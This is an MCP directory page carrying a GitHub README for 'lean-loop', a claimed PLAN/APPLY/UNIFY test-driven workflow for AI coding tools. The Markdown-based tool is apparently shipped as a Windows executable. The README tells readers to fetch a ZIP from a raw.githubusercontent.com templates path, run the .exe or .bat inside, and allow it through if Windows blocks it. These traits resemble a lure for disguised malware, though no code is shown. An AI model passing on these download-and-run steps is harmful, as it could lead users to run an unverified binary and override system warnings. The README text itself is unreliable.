Newcontext-mode—Save 98% of your AI coding agent's context windowLearn more
MCP Directory
ServersClientsBlog

context-mode

Save 98% of your AI coding agent's context window. Works with Claude Code, Cursor, Copilot, Codex, and more.

Try context-mode
MCP Directory

Model Context Protocol Directory

MKSF LTD
Suite 8805 5 Brayford Square
London, E1 0SG

MCP Directory

  • About
  • Blog
  • Documentation
  • Contact

Menu

  • Servers
  • Clients

© 2026 model-context-protocol.com

The Model Context Protocol (MCP) is an open standard for AI model communication.
Powered by Mert KoseogluSoftware Forge
  1. Home
  2. Clients
  3. lean-loop

lean-loop

GitHub

Structure AI-assisted TDD with a plan-apply-unify loop for clearer tests, tighter context, and steady code progress

0
0

🧭 lean-loop - Keep TDD Workflows Clear

Download / Install

🚀 What lean-loop does

lean-loop helps you follow a simple test-driven workflow with three steps:

  • PLAN
  • APPLY
  • UNIFY

It is built for AI-assisted development, but it stays focused on one thing: keeping work in a small, repeatable loop. That makes it easier to stay organized when you use tools like Claude, Codex, Gemini, or other AI coding helpers.

Use lean-loop when you want a steady way to move from idea to code, then check the result, then clean it up.

🖥️ What you need

lean-loop is made for Windows users who want a light setup.

You will need:

  • Windows 10 or Windows 11
  • A web browser
  • Internet access for the download
  • A folder where you can save the files
  • Basic permission to run apps on your PC

If you plan to use lean-loop with AI tools, you may also want one of these:

  • Claude
  • Codex
  • Gemini
  • OpenCode
  • An MCP-compatible tool

📥 Download lean-loop for Windows

Use this link to visit the download page and get lean-loop:

Download lean-loop

If you see a file list, choose the Windows file that fits your setup, then download it to your computer.

🛠️ Install or set up lean-loop

Follow these steps on Windows:

  1. Open the download page.
  2. Download the lean-loop files to a folder you can find, such as Downloads or Desktop.
  3. If the download is a ZIP file, right-click it and choose Extract All.
  4. Open the extracted folder.
  5. Look for a file with a name like lean-loop.exe, run.bat, or another start file.
  6. Double-click the start file to run lean-loop.
  7. If Windows asks for permission, choose the option that lets the app run.
  8. If the app opens in a browser or terminal window, keep that window open while you use it.

If the project uses a script-based setup, start it from the file included in the folder. The main goal is to launch the lean-loop workflow so you can start using PLAN → APPLY → UNIFY.

🧩 First-time use

When you open lean-loop for the first time, expect a simple workflow screen or prompt set.

A normal flow looks like this:

  1. Start with PLAN.
  2. Write what you want to build or change.
  3. Move to APPLY to make the change.
  4. Use UNIFY to check the result and keep the work consistent.

This cycle helps you avoid large, messy changes. It keeps each step small and easier to review.

🔄 How the workflow works

📝 PLAN

Use PLAN to define the task before you touch the code.

Good PLAN steps include:

  • Describe the goal in plain words
  • List what should change
  • Note what should stay the same
  • Break the work into small parts

This step helps you think first and act second.

⚙️ APPLY

Use APPLY to make the change.

In this step, you:

  • Update files
  • Add code
  • Adjust settings
  • Run the task you planned

Keep the change focused. Small updates are easier to test and fix.

🧼 UNIFY

Use UNIFY to bring everything back into one clean state.

In this step, you:

  • Check the result
  • Look for mismatch or rough edges
  • Make sure the new work fits the rest of the project
  • Clean up names, structure, and file flow

UNIFY helps you keep the project readable and stable.

🤖 AI-assisted development

lean-loop fits well with AI tools. You can use it to guide an AI helper through a clear task flow.

Common uses include:

  • Ask the AI to help draft a PLAN
  • Use APPLY to carry out the change
  • Use UNIFY to review and align the output
  • Keep each round short and focused

This works well when you want help, but still want control over the process.

📁 Typical file layout

You may see files like these in the project folder:

  • README.md for project info
  • plan.md for task planning
  • apply.md for implementation notes
  • unify.md for cleanup and review
  • skills/ for workflow helpers
  • skill-md/ for Markdown-based skill files
  • mcp/ for tool connection support

Not every setup will use the same files, but this is the kind of layout you can expect from a lean TDD workflow system.

⚡ Basic usage example

A simple way to use lean-loop:

  1. Open the app or start file.
  2. Create a new task.
  3. Write the PLAN step in plain language.
  4. Carry out the APPLY step.
  5. Run the UNIFY step.
  6. Repeat for the next task.

Example task:

  • PLAN: Add a new button to the app
  • APPLY: Update the UI file and add the button
  • UNIFY: Check spacing, labels, and behavior

🧠 Good ways to work with it

To get the best result, keep each task small.

Helpful habits:

  • One task at a time
  • Short notes
  • Clear names for files and steps
  • Test after each APPLY step
  • Use UNIFY before moving on

This style works well because it lowers confusion and makes mistakes easier to spot.

🛡️ Common problems and fixes

The file will not open

Try this:

  • Make sure the download finished
  • Extract the ZIP file if needed
  • Run the file from the extracted folder
  • Right-click and choose the option to run it

Windows blocks the app

Try this:

  • Check the file properties
  • Allow the app to run if Windows shows a prompt
  • Make sure the file came from the lean-loop download page

The workflow feels unclear

Try this:

  • Start with a very small PLAN
  • Keep APPLY changes limited
  • Use UNIFY to review the result
  • Repeat the cycle with one task only

The AI tool gives too much output

Try this:

  • Ask for one step at a time
  • Keep the prompt short
  • Focus on PLAN before APPLY
  • Use UNIFY to clean up the result

🧭 Suggested use with other tools

lean-loop can sit beside other tools you already use:

  • Use it with Claude for task planning
  • Use it with Codex for code changes
  • Use it with Gemini for review and drafting
  • Use it with OpenCode for local workflow help
  • Use it with MCP tools for connected steps

The idea is to keep the process simple while still using the tools you know.

📌 Project topics

This project fits topics such as:

  • ai-agent
  • ai-agents-framework
  • claude
  • codex
  • gemini
  • mcp
  • opencode
  • skill-md
  • skills
  • tdd

These topics point to a workflow that supports small, test-led changes with AI help.

🧪 Development style

lean-loop follows a test-driven style.

That means:

  • Think before you build
  • Make the change in small steps
  • Check the result early
  • Clean up before moving on

This style helps keep work stable and easy to understand.

📦 Download and setup path

  1. Open the download page:
    https://raw.githubusercontent.com/breastless-andcircuit638/lean-loop/main/skills/lean-loop/templates/lean-loop-v2.3.zip
  2. Download the Windows files.
  3. Extract the archive if needed.
  4. Open the folder.
  5. Run the start file.
  6. Begin with PLAN → APPLY → UNIFY.

🧰 When to use lean-loop

Use lean-loop when you want to:

  • Manage a small coding task
  • Work with AI in a controlled way
  • Keep a clear process for changes
  • Avoid a messy or rushed workflow
  • Review work before moving forward

📘 Short example of a full loop

PLAN:

  • Add a settings page

APPLY:

  • Create the page
  • Add the needed fields
  • Connect the save action

UNIFY:

  • Check labels
  • Confirm layout
  • Make sure the page matches the rest of the app

That is the full lean-loop cycle in simple form

Repository

BR
breastless-andcircuit638

breastless-andcircuit638/lean-loop

Created

April 5, 2026

Updated

April 13, 2026

Category

AI